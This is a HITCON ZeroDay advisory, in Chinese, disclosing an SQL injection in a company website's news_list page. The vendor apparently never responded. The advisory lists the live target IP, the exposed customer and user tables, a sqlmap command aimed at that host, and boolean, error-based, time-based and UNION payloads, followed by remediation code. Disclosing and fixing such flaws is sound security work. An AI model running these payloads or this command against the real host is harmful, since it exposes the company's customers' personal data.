璽品屋國際有限公司 存在資料庫注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00834
  •  發信 Vendor: 璽品屋國際有限公司
  • Title: 璽品屋國際有限公司 存在資料庫注入漏洞
  • Introduction: 於 news_list 頁面之 GET 參數 type_no 發現未過濾之 SQL 注入點。該參數直接拼接入資料庫查詢語法,未進行型別檢查或預編譯處理,導致攻擊者可透過標準 SQLi 手法提取資料庫資訊、資料表結構與業務資料。

處理狀態

目前狀態

公開
Last Update : 2026/08/10
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2026/06/10 19:09:26 : 新提交 (由 小道 更新此狀態)
  • 2026/06/10 19:11:13 : 新提交 (由 小道 更新此狀態)
  • 2026/06/12 10:30:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/02 17:39:06 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/02 17:39:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/07/02 17:39:06 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/08/10 03:00:11 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00834
  • 通報者:104nana (小道)
  • 風險:嚴重
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://175.99.138.29/index.php/main/news_list/?type_no=02

敘述

於 news_list 頁面之 GET 參數 type_no 發現未過濾之 SQL 注入點。該參數直接拼接入資料庫查詢語法,未進行型別檢查或預編譯處理,導致攻擊者可透過標準 SQLi 手法提取資料庫資訊、資料表結構與業務資料。

影響範圍
資料庫名稱:trans_website
後端環境:MySQL >= 5.1 / Apache 2.4.62 / PHP 7.4.33 / Linux
暴露資料表:共偵測到 47 個資料表,包含核心業務與敏感資訊,例如:
User、Userright(使用者帳號與權限)
Customer、Customer_addr(客戶基本資料與地址)
Quote、Invoicing、Salse(報價單、發票與銷售紀錄)
ci_sessions(PHP Session 儲存表,可能含未加密的登入狀態或敏感暫存值)
重現步驟 (PoC)
正常請求:
http://175.99.138.29/index.php/main/news_list/?type_no=02
注入觸發:
於參數後追加單引號 ',觀察頁面回傳 MySQL 語法錯誤或內容異常。
自動化偵測與提取(使用 sqlmap):
bash
sqlmap -u "http://175.99.138.29/index.php/main/news_list/?type_no=02" --batch --dbs --tables
驗證日誌摘要(已截錄關鍵輸出):
Parameter: type_no (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type_no=02' AND 5647=5647 AND 'ZdkD'='ZdkD

Type: error-based
Title: MySQL >= 5.1 AND error-based ... (EXTRACTVALUE)
Payload: type_no=02' AND EXTRACTVALUE(7955,CONCAT(...)) AND 'UwHY'='UwHY

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: type_no=02' AND (SELECT 6505 FROM (SELECT(SLEEP(5)))BvID) AND 'jkbg'='jkbg

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: type_no=02' UNION ALL SELECT NULL,NULL,CONCAT(...),NULL,NULL-- -

Database: trans_website
[47 tables] ... | User | Customer | Quote | Invoicing | ci_sessions | ...
潛在影響
透過 UNION 查詢可擷取任意欄位資料(如使用者密碼雜湊、客戶聯絡資訊)。
利用 EXTRACTVALUE / SLEEP 可進行盲注提取系統版本、資料庫配置或敏感暫存值。
若 MySQL 具備檔案寫入權限 (secure_file_priv 未限制),可進一步寫入 Webshell 取得伺服器控制權 (RCE)。

修補建議

修補建議

參數化查詢(Prepared Statements):最推薦之解法,徹底隔離 SQL 語法與資料。
php
// PDO 範例
$stmt = $pdo->prepare('SELECT * FROM news WHERE type_no = :type');
$stmt->execute(['type' => $_GET['type_no']]);
$result = $stmt->fetchAll();

// MySQLi 範例
$stmt = $mysqli->prepare('SELECT * FROM news WHERE type_no = ?');
$stmt->bind_param("s", $_GET['type_no']);
$stmt->execute();
強型別輸入驗證:若 type_no 僅接受數字,於 PHP 端強制轉換:
php
$type = intval($_GET['type_no']); // 或 filter_input(INPUT_GET, 'type_no', FILTER_VALIDATE_INT)
if ($type === false || $type < 1) { exit('Invalid type'); }
最小權限原則:資料庫連線帳號應僅授予 SELECT、INSERT、UPDATE 必要權限,避免使用 root 或具備 FILE 權限的帳號。
部署 WAF / IPS(臨時防護):於前端配置 ModSecurity 或 Cloudflare SQLi Rule Set,阻斷自動化工具掃描與常見注入 Payload。
升級老舊環境:PHP 7.4 已於 2022/11 EOL,MySQL >=5.1 亦缺乏近年安全修補。建議配合代碼重構,遷移至 PHP 8.x + MySQL 8.0+ 以獲得最佳效能與安全性。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;